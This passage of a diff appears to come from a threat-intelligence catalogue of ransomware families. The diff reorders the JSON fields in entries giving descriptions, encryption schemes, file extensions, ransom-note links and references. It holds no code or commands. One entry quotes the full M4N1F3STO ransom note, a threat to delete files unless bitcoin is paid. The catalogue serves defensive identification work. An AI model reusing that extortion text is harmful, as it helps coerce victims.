+ "uuid": "96bd63e5-99bd-490c-a23a-e0092337f6e6",
+ "value": "Cryptorium (Fake Ransomware)"
},
{
+ "description": "It’s directed to Russian speaking users, there fore is able to infect mosty the old USSR countries. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc … The hacker goes by the nickname Antihacker and requests the victim to send him an email for the decryption. He does not request any money only a warning about looking at porn (gay, incest and rape porn to be specific).",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/antihacker2017-ransomware.html"
- ],
- "ransomnotes": [
- "https://3.bp.blogspot.com/-k7iDPgj17Zo/WFKEfMvR4wI/AAAAAAAACn4/8irB4Tf1x_MjfTmWaAjuae6mFJbva6GcwCLcB/s1600/note.jpg"
- ],
+ "date": "December 2016",
"encryption": "XOR",
"extensions": [
".antihacker2017"
],
- "date": "December 2016"
+ "ransomnotes": [
+ "https://3.bp.blogspot.com/-k7iDPgj17Zo/WFKEfMvR4wI/AAAAAAAACn4/8irB4Tf1x_MjfTmWaAjuae6mFJbva6GcwCLcB/s1600/note.jpg"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/antihacker2017-ransomware.html"
+ ]
},
- "description": "It’s directed to Russian speaking users, there fore is able to infect mosty the old USSR countries. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc … The hacker goes by the nickname Antihacker and requests the victim to send him an email for the decryption. He does not request any money only a warning about looking at porn (gay, incest and rape porn to be specific).",
- "value": "Antihacker2017 Ransomware",
- "uuid": "efd64e86-611a-4e10-91c7-e741cf0c58d9"
+ "uuid": "efd64e86-611a-4e10-91c7-e741cf0c58d9",
+ "value": "Antihacker2017 Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect users all over the world. It is spread using email spam, fake updates, attachments and so on. It SUPPOSEDLY encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… Your files are not really encrypted and nothing actually happens, however the hacker does ask the victim to pay a sum of 100$, after 5 days the sum goes up to 250$ and thereafter to 500$. After the payment is received, the victim gets the following message informing him that he has been fooled and he simply needed to delete the note. https://4.bp.blogspot.com/-T8iSbbGOz84/WFGZEbuRfCI/AAAAAAAACm0/SO8Srwx2UIM3FPZcZl7W76oSDCsnq2vfgCPcB/s1600/code2.jpg",
"meta": {
+ "date": "December 2016",
+ "ransomnotes": [
+ "https://1.bp.blogspot.com/-6I7jtsp5Wi4/WFLqnfUvg5I/AAAAAAAACow/BCOv7etYxxwpIERR1Qs5fmJ2wKBx3sqmACLcB/s1600/screen-locker.png"
+ ],
"refs": [
"https://id-ransomware.blogspot.co.il/2016/12/cia-special-agent-767-ransomware.html",
"https://www.bleepingcomputer.com/virus-removal/remove-cia-special-agent-767-screen-locker",
"https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-16th-2016-samas-no-more-ransom-screen-lockers-and-more/",
"https://guides.yoosecurity.com/cia-special-agent-767-virus-locks-your-pc-screen-how-to-unlock/"
- ],
- "ransomnotes": [
- "https://1.bp.blogspot.com/-6I7jtsp5Wi4/WFLqnfUvg5I/AAAAAAAACow/BCOv7etYxxwpIERR1Qs5fmJ2wKBx3sqmACLcB/s1600/screen-locker.png"
- ],
- "date": "December 2016"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect users all over the world. It is spread using email spam, fake updates, attachments and so on. It SUPPOSEDLY encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… Your files are not really encrypted and nothing actually happens, however the hacker does ask the victim to pay a sum of 100$, after 5 days the sum goes up to 250$ and thereafter to 500$. After the payment is received, the victim gets the following message informing him that he has been fooled and he simply needed to delete the note. https://4.bp.blogspot.com/-T8iSbbGOz84/WFGZEbuRfCI/AAAAAAAACm0/SO8Srwx2UIM3FPZcZl7W76oSDCsnq2vfgCPcB/s1600/code2.jpg",
- "value": "CIA Special Agent 767 Ransomware (FAKE!!!)",
- "uuid": "e479e32e-c884-4ea0-97d3-3c3356135719"
+ "uuid": "e479e32e-c884-4ea0-97d3-3c3356135719",
+ "value": "CIA Special Agent 767 Ransomware (FAKE!!!)"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… This hacker request your IP address in return for the decryption.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/loveserver-ransomware.html"
- ],
+ "date": "December 2016",
"ransomnotes": [
"https://3.bp.blogspot.com/-LY1A0aeA_c0/WFEduvkiNQI/AAAAAAAACjk/B2-nFQoExscMVvZqvCaf9R4z_C6-rSdvACLcB/s1600/note2.png.png"
],
- "date": "December 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/loveserver-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… This hacker request your IP address in return for the decryption.",
- "value": "LoveServer Ransomware ",
- "uuid": "d1698a73-8be8-4c10-8114-8cfa1c399eb1"
+ "uuid": "d1698a73-8be8-4c10-8114-8cfa1c399eb1",
+ "value": "LoveServer Ransomware "
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… The hacker requests 2 bitcoins in return for the files.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/kraken-ransomware.html"
+ "date": "December 2016",
+ "encryption": "AES",
+ "extensions": [
+ ".kraken",
+ "[base64].kraken"
],
"ransomnotes": [
"https://3.bp.blogspot.com/-E4brsgJRDHA/WFBU7wPaYLI/AAAAAAAACjU/sLEkzMiWp5wuc8hpFbylC7lLVMhftCLGgCLcB/s1600/111m.png",
"https://2.bp.blogspot.com/-b5caw8XAvIQ/WFBUuOto40I/AAAAAAAACjQ/_yzwIU17BHw4Ke4E3wM_XBI1XfnAvGSZQCLcB/s1600/005.png",
"_HELP_YOUR_FILES.html"
],
- "encryption": "AES",
- "extensions": [
- ".kraken",
- "[base64].kraken"
- ],
- "date": "December 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/kraken-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… The hacker requests 2 bitcoins in return for the files.",
- "value": "Kraken Ransomware",
- "uuid": "51737c36-11a0-4c25-bd87-a990bd479aaf"
+ "uuid": "51737c36-11a0-4c25-bd87-a990bd479aaf",
+ "value": "Kraken Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… The ransom is 0.25 bitcoins and the nickname of the hacker is FRC 2016.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/antix-ransomware.html"
- ],
+ "date": "December 2016",
+ "encryption": "AES",
"ransomnotes": [
"https://1.bp.blogspot.com/-6iMtvGe3T58/WE8Ftx7zcUI/AAAAAAAACiE/2ISTxSYzgKEgnfQ7FSUWo3BiCeVLHH_uwCLcB/s1600/note.jpg"
],
- "encryption": "AES",
- "date": "December 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/antix-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… The ransom is 0.25 bitcoins and the nickname of the hacker is FRC 2016.",
- "value": "Antix Ransomware",
- "uuid": "8a7e0615-b9bd-41ab-89f1-62d041350e99"
+ "uuid": "8a7e0615-b9bd-41ab-89f1-62d041350e99",
+ "value": "Antix Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… The ransom is R$950 which is due in 5 days. (R$ is a Brazilian currency) Based off of Hidden-Tear",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/payday-ransomware.html",
- "https://twitter.com/BleepinComputer/status/808316635094380544"
+ "date": "December 2016",
+ "encryption": "AES-256",
+ "extensions": [
+ ".sexy"
],
"ransomnotes": [
"https://3.bp.blogspot.com/-MWEyG49z2Qk/WE78wLqCXPI/AAAAAAAAChw/SIlQSe_o_wMars2egfZ7VqKfWuan6ThwQCLcB/s1600/note1.jpg",
"!!!!!ATENÇÃO!!!!!.html"
],
- "encryption": "AES-256",
- "extensions": [
- ".sexy"
- ],
- "date": "December 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/payday-ransomware.html",
+ "https://twitter.com/BleepinComputer/status/808316635094380544"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… The ransom is R$950 which is due in 5 days. (R$ is a Brazilian currency) Based off of Hidden-Tear",
- "value": "PayDay Ransomware ",
- "uuid": "70324b69-6076-4d00-884e-7f9d5537a65a"
+ "uuid": "70324b69-6076-4d00-884e-7f9d5537a65a",
+ "value": "PayDay Ransomware "
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is NOT spread using email spam, fake updates, attachments and so on. It simply places a decrypt file on your computer.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/slimhem-ransomware.html"
- ],
+ "date": "December 2016",
"encryption": "AES-256",
"extensions": [
".encrypted"
],
- "date": "December 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/slimhem-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is NOT spread using email spam, fake updates, attachments and so on. It simply places a decrypt file on your computer.",
- "value": "Slimhem Ransomware",
- "uuid": "76b14980-e53c-4209-925e-3ab024210734"
+ "uuid": "76b14980-e53c-4209-925e-3ab024210734",
+ "value": "Slimhem Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… FILES DON’T REALLY GET DELETED NOR DO THEY GET ENCRYPTED!!!!!!!",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/m4n1f3sto-ransomware.html"
- ],
+ "date": "December 2016",
+ "encryption": "AES-256",
"ransomnotes": [
"I want to play a game with you. Let me explain the rules. Your personal files are being deleted. Your photos, videos, documents, etc... But, don't worry! It will only happen if you don't comply. However I've already encrypted your personal files, so you cannot access therm. Every hour I select some of them to delete permanently, therefore I won't be able to access them, either. Are you familiar with the concept of exponential growth? Let me help you out. It starts out slowly then increases rapidly. During the first 24 hour you will only lose a few files, the second day a few hundred, the third day a few thousand, and so on. If you turn off your computer or try to close me, when i start the next time you will het 1000 files deleted as punishment. Yes you will want me to start next time, since I am the only one that is capable to decrypt your personal data for you. Now, let's start and enjoy our little game together! Send 0.3 bitcoins to this adress to unlock your Pc with your email adress Your can purchase bitcoins from localbitcoins",
"https://3.bp.blogspot.com/-9MsC3A3tuUA/WFGZM45Pw5I/AAAAAAAACms/NbDFma30D9MpK2Zc0O6NvDizU8vqUWWlwCLcB/s1600/M4N1F3STO.jpg"
],
- "encryption": "AES-256",
- "date": "December 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/m4n1f3sto-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… FILES DON’T REALLY GET DELETED NOR DO THEY GET ENCRYPTED!!!!!!!",
- "value": "M4N1F3STO Ransomware (FAKE!!!!!)",
- "uuid": "94a3be6b-3a83-40fb-85b2-555239260235"
+ "uuid": "94a3be6b-3a83-40fb-85b2-555239260235",
+ "value": "M4N1F3STO Ransomware (FAKE!!!!!)"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… CHIP > DALE",
"meta": {
- "synonyms": [
- "DaleLocker Ransomware"
- ],
+ "date": "December 2016",
"encryption": "AES+RSA-512",
"extensions": [
".DALE"
],
- "date": "December 2016"
+ "synonyms": [
+ "DaleLocker Ransomware"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… CHIP > DALE",
- "value": "Dale Ransomware",
- "uuid": "abe6cbe4-9031-46da-9e1c-89d9babe6449"
+ "uuid": "abe6cbe4-9031-46da-9e1c-89d9babe6449",
+ "value": "Dale Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… Based on the idiotic open-source ransomware called CryptoWire",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/ultralocker-ransomware.html",
- "https://twitter.com/struppigel/status/807161652663742465"
- ],
- "ransomnotes": [
- "https://1.bp.blogspot.com/-DOjKnuzCMo8/WE1Xd8yksiI/AAAAAAAACfo/d93v2xn857gQDg4o5Rd4oZpP3q-Ipv9xgCLcB/s1600/UltraLocker.png"
- ],
+ "date": "December 2016",
"encryption": "AES-256",
"extensions": [
".locked (added before the ending, not to the ending, for example: file.locked.doc"
],
- "date": "December 2016"
+ "ransomnotes": [
+ "https://1.bp.blogspot.com/-DOjKnuzCMo8/WE1Xd8yksiI/AAAAAAAACfo/d93v2xn857gQDg4o5Rd4oZpP3q-Ipv9xgCLcB/s1600/UltraLocker.png"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/ultralocker-ransomware.html",
+ "https://twitter.com/struppigel/status/807161652663742465"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… Based on the idiotic open-source ransomware called CryptoWire",
- "value": "UltraLocker Ransomware",
- "uuid": "3a66610b-5197-4af9-b662-d873afc81b2e"
+ "uuid": "3a66610b-5197-4af9-b662-d873afc81b2e",
+ "value": "UltraLocker Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/aeskeygenassist-ransomware.html",
- "https://id-ransomware.blogspot.co.il/2016/09/dxxd-ransomware.html",
- "https://www.bleepingcomputer.com/forums/t/634258/aes-key-gen-assistprotonmailcom-help-support/"
- ],
- "ransomnotes": [
- "https://4.bp.blogspot.com/-6NIoKnSTwcs/WExcV900C_I/AAAAAAAACfI/_Hba3mOwk3UQ0T5rGercOglMsCTjVtCnQCLcB/s1600/note2.png"
- ],
+ "date": "December 2016",
"encryption": "AES-256 and RSA-2048",
"extensions": [
".pre_alpha"
],
- "date": "December 2016"
+ "ransomnotes": [
+ "https://4.bp.blogspot.com/-6NIoKnSTwcs/WExcV900C_I/AAAAAAAACfI/_Hba3mOwk3UQ0T5rGercOglMsCTjVtCnQCLcB/s1600/note2.png"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/aeskeygenassist-ransomware.html",
+ "https://id-ransomware.blogspot.co.il/2016/09/dxxd-ransomware.html",
+ "https://www.bleepingcomputer.com/forums/t/634258/aes-key-gen-assistprotonmailcom-help-support/"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…",
- "value": "AES_KEY_GEN_ASSIST Ransomware",
- "uuid": "d755510f-d775-420c-83a0-b0fe9e483256"
+ "uuid": "d755510f-d775-420c-83a0-b0fe9e483256",
+ "value": "AES_KEY_GEN_ASSIST Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/code-virus-ransomware.html"
+ "date": "December 2016",
+ "encryption": "AES-256 and RSA-2048",
+ "extensions": [
+ ".locky"
],
"ransomnotes": [
"https://2.bp.blogspot.com/-Lyd1uRKG-94/WFJ3TbNqWfI/AAAAAAAACnc/4LoazYU0S1s1YRz3Xck3LN1vOm5RwIpugCLcB/s1600/note.jpg",
"https://4.bp.blogspot.com/-eBeh1lzEYsI/WFJ4l1oJ4fI/AAAAAAAACno/P5inceelNNk-zfkJGhE3XNamOGC8YmBwwCLcB/s1600/str123.gif"
],
- "encryption": "AES-256 and RSA-2048",
- "extensions": [
- ".locky"
- ],
- "date": "December 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/code-virus-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Code Virus Ransomware ",
- "uuid": "a23d7c45-7200-4074-9acf-8789600fa145"
+ "uuid": "a23d7c45-7200-4074-9acf-8789600fa145",
+ "value": "Code Virus Ransomware "
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/flkr-ransomware.html"
- ],
- "ransomnotes": [
- "https://3.bp.blogspot.com/-Fh2I6542zi4/WEpmphY0i1I/AAAAAAAACe4/FBP3J6UraBMkSMTWx2tm-FRYnmlYLtFWgCLcB/s1600/note2.png.png"
- ],
+ "date": "December 2016",
"encryption": "Blowfish",
"extensions": [
"_morf56@meta.ua_"
],
- "date": "December 2016"
+ "ransomnotes": [
+ "https://3.bp.blogspot.com/-Fh2I6542zi4/WEpmphY0i1I/AAAAAAAACe4/FBP3J6UraBMkSMTWx2tm-FRYnmlYLtFWgCLcB/s1600/note2.png.png"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/flkr-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "FLKR Ransomware",
- "uuid": "1cdc34ce-43b7-4df1-ae8f-ae0acbe5e4ad"
+ "uuid": "1cdc34ce-43b7-4df1-ae8f-ae0acbe5e4ad",
+ "value": "FLKR Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. These hackers claim to be students from Syria. This ransomware poses as the popular torrent movie screener called PopCorn. These criminals give you the chance to retrieve your files “for free” by spreading this virus to others. Like shown in the note bellow: https://www.bleepstatic.com/images/news/ransomware/p/Popcorn-time/refer-a-friend.png",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/popcorntime-ransomware.html",
- "https://www.bleepingcomputer.com/news/security/new-scheme-spread-popcorn-time-ransomware-get-chance-of-free-decryption-key/"
+ "date": "December 2016",
+ "encryption": "AES-256",
+ "extensions": [
+ ".kok",
+ ".filock"
],
"ransomnotes": [
"https://3.bp.blogspot.com/-WxtRn5yVcNw/WEmgAPgO4AI/AAAAAAAACeo/M7iS6L8pSOEr8EUDkCK_g6h0aMKQQXfGwCLcB/s1600/note2.png",
@@ -2728,107 +2736,103 @@
"restore_your_files.html",
"restore_your_files.txt"
],
- "encryption": "AES-256",
- "extensions": [
- ".kok",
- ".filock"
- ],
- "date": "December 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/popcorntime-ransomware.html",
+ "https://www.bleepingcomputer.com/news/security/new-scheme-spread-popcorn-time-ransomware-get-chance-of-free-decryption-key/"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. These hackers claim to be students from Syria. This ransomware poses as the popular torrent movie screener called PopCorn. These criminals give you the chance to retrieve your files “for free” by spreading this virus to others. Like shown in the note bellow: https://www.bleepstatic.com/images/news/ransomware/p/Popcorn-time/refer-a-friend.png",
- "value": "PopCorn Time Ransomware",
- "uuid": "c1b3477b-cd7f-4726-8744-a2c44275dffd"
+ "uuid": "c1b3477b-cd7f-4726-8744-a2c44275dffd",
+ "value": "PopCorn Time Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… NO POINT OF PAYING THE RANSOM—THE HACKER DOES NOT GIVE A DECRYPT AFTERWARDS.",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/hackedlocker-ransomware.html"
- ],
- "ransomnotes": [
- "https://4.bp.blogspot.com/-G-xrI4N08hs/WFJjQgB3ojI/AAAAAAAACnM/DEfy_skSg044UmbBfNodiQY4OaLkkQPOwCLcB/s1600/note-hacked.jpg"
- ],
+ "date": "December 2016",
"encryption": "AES-256",
"extensions": [
".hacked"
],
- "date": "December 2016"
+ "ransomnotes": [
+ "https://4.bp.blogspot.com/-G-xrI4N08hs/WFJjQgB3ojI/AAAAAAAACnM/DEfy_skSg044UmbBfNodiQY4OaLkkQPOwCLcB/s1600/note-hacked.jpg"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/hackedlocker-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… NO POINT OF PAYING THE RANSOM—THE HACKER DOES NOT GIVE A DECRYPT AFTERWARDS.",
- "value": "HackedLocker Ransomware",
- "uuid": "c2624d8e-da7b-4d94-b06f-363131ddb6ac"
+ "uuid": "c2624d8e-da7b-4d94-b06f-363131ddb6ac",
+ "value": "HackedLocker Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/goldeneye-ransomware.html",
- "https://www.bleepingcomputer.com/news/security/petya-ransomware-returns-with-goldeneye-version-continuing-james-bond-theme/",
- "https://www.bleepingcomputer.com/forums/t/634778/golden-eye-virus/"
+ "date": "December 2016",
+ "encryption": "AES(CBC)",
+ "extensions": [
+ "."
],
"ransomnotes": [
"https://4.bp.blogspot.com/-qcJxWivTx1w/WEcEW14om5I/AAAAAAAACa4/xLAlsQGZjeg7Zlg3F2fQAcgQ_6b_cNQLACLcB/s1600/goldeneye-1.jpg",
"https://4.bp.blogspot.com/-avE8liOWdPY/WEcEbdTxx6I/AAAAAAAACa8/KOKgXzU1h2EJ0tTOKMdQzZ_JdWWNeFMdwCLcB/s1600/goldeneye-1-2.jpg"
],
- "encryption": "AES(CBC)",
- "extensions": [
- "."
- ],
- "date": "December 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/12/goldeneye-ransomware.html",
+ "https://www.bleepingcomputer.com/news/security/petya-ransomware-returns-with-goldeneye-version-continuing-james-bond-theme/",
+ "https://www.bleepingcomputer.com/forums/t/634778/golden-eye-virus/"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…",
- "value": "GoldenEye Ransomware",
- "uuid": "ac7affb8-971d-4c05-84f0-172b61d007d7"
+ "uuid": "ac7affb8-971d-4c05-84f0-172b61d007d7",
+ "value": "GoldenEye Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/sage-ransomware.html",
- "https://www.bleepingcomputer.com/forums/t/634978/sage-file-sample-extension-sage/",
- "https://www.bleepingcomputer.com/forums/t/634747/sage-20-ransomware-sage-support-help-topic/"
- ],
- "ransomnotes": [
- "https://4.bp.blogspot.com/-GasUzax8cco/WEar0U0tPqI/AAAAAAAACZw/6V_1JFxLMH0UnmLa3-WZa_ML9JbxF0JYACEw/s1600/note-txt2.png"
- ],
+ "date": "December 2016",
"encryption": "AES",
"extensions": [
".sage"
],
- "date": "December 2016"
- },
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…",
- "value": "Sage Ransomware",
- "uuid": "3e5a475f-7467-49ab-917a-4d1f590ad9b4"
- },
- {
- "meta": {
- "synonyms": [
- "VO_ Ransomware"
+ "ransomnotes": [
+ "https://4.bp.blogspot.com/-GasUzax8cco/WEar0U0tPqI/AAAAAAAACZw/6V_1JFxLMH0UnmLa3-WZa_ML9JbxF0JYACEw/s1600/note-txt2.png"
],
"refs": [
- "https://id-ransomware.blogspot.co.il/2016/12/sq-vo-ransomware.html"
- ],
- "ransomnotes": [
- "https://2.bp.blogspot.com/-Lhq40sgYUpI/WEWpGkkWOKI/AAAAAAAACZQ/iOp9g9Ya0Fk9vZrNKwTEMVcEOzKFIwqgACLcB/s1600/english-2.png"
- ],
+ "https://id-ransomware.blogspot.co.il/2016/12/sage-ransomware.html",
+ "https://www.bleepingcomputer.com/forums/t/634978/sage-file-sample-extension-sage/",
+ "https://www.bleepingcomputer.com/forums/t/634747/sage-20-ransomware-sage-support-help-topic/"
+ ]
+ },
+ "uuid": "3e5a475f-7467-49ab-917a-4d1f590ad9b4",
+ "value": "Sage Ransomware"
+ },
+ {
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… This hacker requests 4 bitcoins for ransom.",
+ "meta": {
+ "date": "December 2016",
"encryption": "AES and RSA-1024",
"extensions": [
".VO_"
],
- "date": "December 2016"
- },
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… This hacker requests 4 bitcoins for ransom.",
- "value": "SQ_ Ransomware",
- "uuid": "5024f328-2595-4dbd-9007-218147e55d5f"
- },
- {
- "meta": {
- "synonyms": [
- "Malta Ransomware"
+ "ransomnotes": [
+ "https://2.bp.blogspot.com/-Lhq40sgYUpI/WEWpGkkWOKI/AAAAAAAACZQ/iOp9g9Ya0Fk9vZrNKwTEMVcEOzKFIwqgACLcB/s1600/english-2.png"
],
"refs": [
- "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-2nd-2016-screenlockers-kangaroo-the-sfmta-and-more/",
- "https://id-ransomware.blogspot.co.il/2016/12/matrix-ransomware.html",
- "https://twitter.com/rommeljoven17/status/804251901529231360",
- "https://www.bleepingcomputer.com/news/security/new-matrix-ransomware-variants-installed-via-hacked-remote-desktop-services/"
+ "https://id-ransomware.blogspot.co.il/2016/12/sq-vo-ransomware.html"
+ ],
+ "synonyms": [
+ "VO_ Ransomware"
+ ]
+ },
+ "uuid": "5024f328-2595-4dbd-9007-218147e55d5f",
+ "value": "SQ_ Ransomware"
+ },
+ {
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…",
+ "meta": {
+ "date": "December 2016",
+ "encryption": "AES and RSA",
+ "extensions": [
+ ".MATRIX",
+ ".[Files4463@tuta.io]",
+ ".[RestorFile@tutanota.com]"
],
"ransomnotes": [
"https://4.bp.blogspot.com/-RGHgroHt5cU/WEUWnFBn2hI/AAAAAAAACYA/zwSf7rmfWdo4ESQ8kjwj6mJrfzL2V22mgCLcB/s1600/note-eng.png",
@@ -2842,417 +2846,407 @@
"https://pbs.twimg.com/media/DZ4VCRpWsAYtckw.jpg",
"https://pbs.twimg.com/media/DZ4V8uXWsAI0r1v.jpg"
],
- "encryption": "AES and RSA",
- "extensions": [
- ".MATRIX",
- ".[Files4463@tuta.io]",
- ".[RestorFile@tutanota.com]"
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-2nd-2016-screenlockers-kangaroo-the-sfmta-and-more/",
+ "https://id-ransomware.blogspot.co.il/2016/12/matrix-ransomware.html",
+ "https://twitter.com/rommeljoven17/status/804251901529231360",
+ "https://www.bleepingcomputer.com/news/security/new-matrix-ransomware-variants-installed-via-hacked-remote-desktop-services/"
],
- "date": "December 2016"
+ "synonyms": [
